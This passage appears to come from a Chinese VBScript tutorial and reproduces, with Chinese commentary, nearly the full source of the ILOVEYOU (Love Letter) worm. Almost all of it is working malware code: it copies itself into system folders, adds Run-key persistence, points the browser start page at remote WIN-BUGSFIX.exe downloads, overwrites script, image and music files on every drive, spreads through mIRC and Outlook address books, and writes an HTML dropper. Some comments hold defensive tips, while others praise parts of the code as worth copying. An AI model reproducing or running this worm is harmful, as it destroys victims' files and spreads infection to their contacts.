好了 ,最基本的脚本编程也就讲完了,其实脚本编写也很简单,你们看看下面这个曾经很出名的 Love Letter病毒的源代码, 除了邮件那部分我没讲,其他的都是一目了然吧?
rem barok -loveletter(vbe) i hate go to school> rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip pines ' 注释:程序作者的签名(可能)
On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") ' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大
sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin g Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" ' 注释 - 防止操作超时造成的程序终止。 ' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程 者借鉴。 end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) ' 获取系统关键文件夹的名称 ' VB编程时可以用。
Set c = fso.GetFile(WScript.ScriptFullName) '返回当前脚本的完整路径 c.Copy(dirsystem"\MSKernel32.vbs") 'Copies a specified file or folder from one location to another. c.Copy(dirwin"\Win32DLL.vbs") c.Copy(dirsystem"\LOVE-LETTER-FOR-YOU.TXT.vbs") ' 复制自身到关键目录中备用。 ' 文件名并不是很好。太容易被发现了。
regruns() html() spreadtoemail() listadriv() end sub
sub regruns() ' 修改注册表,以便自动装载病毒程序 ' 预防:经常检查注册表中的这一分支。 ' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进, ' 因为它不会因为语言问题而失效。 On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\MSKernel32",dirsystem"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\RunServices\Win32DLL",dirwin"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore r\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B UGSFIX.exe" end if end if if (fileexist(downread"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio n\Run\WIN-BUGSFIX",downread"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main \Start Page","about:blank" end if end sub
sub folderlist(folderspec) ' 遍历文件夹 On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders '得到某一特定文件夹的所有子文件夹,包括系统隐藏文件夹 for each f1 in sf 'f1为每一个子文件夹的对象 infectfiles(f1.path) '传染文件的操作 folderlist(f1.path) '再次进行文件夹遍历 next end sub
sub listadriv ' 遍历所有驱动器。 On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then '2.3分别为硬盘和网络共享盘 folderlist(d.path"\") end if Next listadriv = s end sub
function fileexist(filespec) ' 判断文件是否存在 ' 纯粹从技术角度讲,这段程序写的不怎么样。 ' 不用写这么长就能够实现相同的功能 On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function
function folderexist(folderspec) ' 判断文件夹是否存在 ' 和上一段程序一样臭。 On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function
sub infectfiles(folderspec) ' 执行传染文件的操作。 On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files '得到某一特定文件夹的所有文件,包括系统隐藏文件 for each f1 in fc ext=fso.GetExtensionName(f1.path) '得到扩展名 ext=lcase(ext) '转变为小写 s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy 'vbscopy=file.ReadAll ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= "sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec"\"bname".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri pt.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corru pt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" ' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。 ' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不 少。 scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "dirsystem"\LOVE-LETTER-FO R-YOU.HTM" scriptini.WriteLine "n3=}" ' 注意,这样做的结果是,MIRC也能够传染病毒。 scriptini.close eq=folderspec end if end if next end sub
sub regcreate(regkey,regvalue) ' 修改注册表(创建键值) ' 这个程序似乎是微软的示范程序。 Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub
function regget(value) ' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function
sub spreadtoemail() ' 通过电子邮件扩散 On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") ' 病毒的局限:只支持Outlook,而Outlook Express则不支持。 set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"male ad) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" ' 病毒得名的原因 ' 见到这样的邮件,肯定是病毒。 ' 头脑正常的人恐怕不会这样直白的。 male.Body = vbcrlf"kindly check the attached LOVELETTER coming from m e." male.Attachments.Add(dirsystem"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"malead,1, "REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"a,a.Addre ssEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"a,a.Addre ssEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html ' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源 ' 值得编写程序的借鉴。 ' 程序中间的_符号是连接线,所以注释写在这里。 ' 程序中无效语句很多,浪费了不少空间。 On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="HTML>HEAD>TITLE>LOVELETTER - HTML?-?TITLE>META NAME=@-@Gene rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"vbcrlf _ "META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"vbcrlf _
"META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go od...@-@>"vbcrlf _ "?-?HEAD>BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "vbcrlf _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@ >"vbcrlf _ "CENTER>p>This HTML file need ActiveX Control?-?p>p>To Enable to r ead this HTML fileBR>- Please press #-#YES#-# button to Enable Active X?-?p>"vbcrlf _ "?-?CENTER>MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>-------- --z--------------------z----------?-?MARQUEE> "vbcrlf _ "?-?BODY>?-?HTML>"vbcrlf _ "SCRIPT language=@-@JScript@-@>"vbcrlf _ "!--?-??-?"vbcrlf _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight ;window.moveTo(0,0);window.resizeTo(wi,hi);}"vbcrlf _ "?-??-?-->"vbcrlf _ "?-?SCRIPT>"vbcrlf _ "SCRIPT LANGUAGE=@-@VBScript@-@>"vbcrlf _ "!--"vbcrlf _ "on error resume next"vbcrlf _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"vbcrlf _ "aw=1"vbcrlf _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"vbcrlf _ "set dirsystem=fso.GetSpecialFolder(1)"vbcrlf _ "code2=replace(code,chr(91)chr(45)chr(91),chr(39))"vbcrlf _ "code3=replace(code2,chr(93)chr(45)chr(93),chr(34))"vbcrlf _ "code4=replace(code3,chr(37)chr(45)chr(37),chr(92))"vbcrlf _ "set wri=fso.CreateTextFile(dirsystem@-@^-^MSKernel32.vbs@-@)"vbcrlf _ "wri.write code4"vbcrlf _ "wri.close"vbcrlf _ "if (fso.FileExists(dirsystem@-@^-^MSKernel32.vbs@-@)) then"vbcrlf _ "if (err.number=424) then"vbcrlf _ "aw=0"vbcrlf _ "end if"vbcrlf _ "if (aw=1) then"vbcrlf _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"vbcrlf _ "window.close"vbcrlf _ "end if"vbcrlf _ "end if"vbcrlf _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"vbcrlf _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem@-@^-^MSKernel32.v bs@-@"vbcrlf _ "?-??-?-->"vbcrlf _ "?-?SCRIPT>" dt1=replace(dta1,chr(35)chr(45)chr(35),"'") dt1=replace(dt1,chr(64)chr(45)chr(64),"""") dt4=replace(dt1,chr(63)chr(45)chr(63),"/") dt5=replace(dt4,chr(94)chr(45)chr(94),"\") dt2=replace(dta2,chr(35)chr(45)chr(35),"'") dt2=replace(dt2,chr(64)chr(45)chr(64),"""") dt3=replace(dt2,chr(63)chr(45)chr(63),"/") dt6=replace(dt3,chr(94)chr(45)chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)"vbcrlf _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub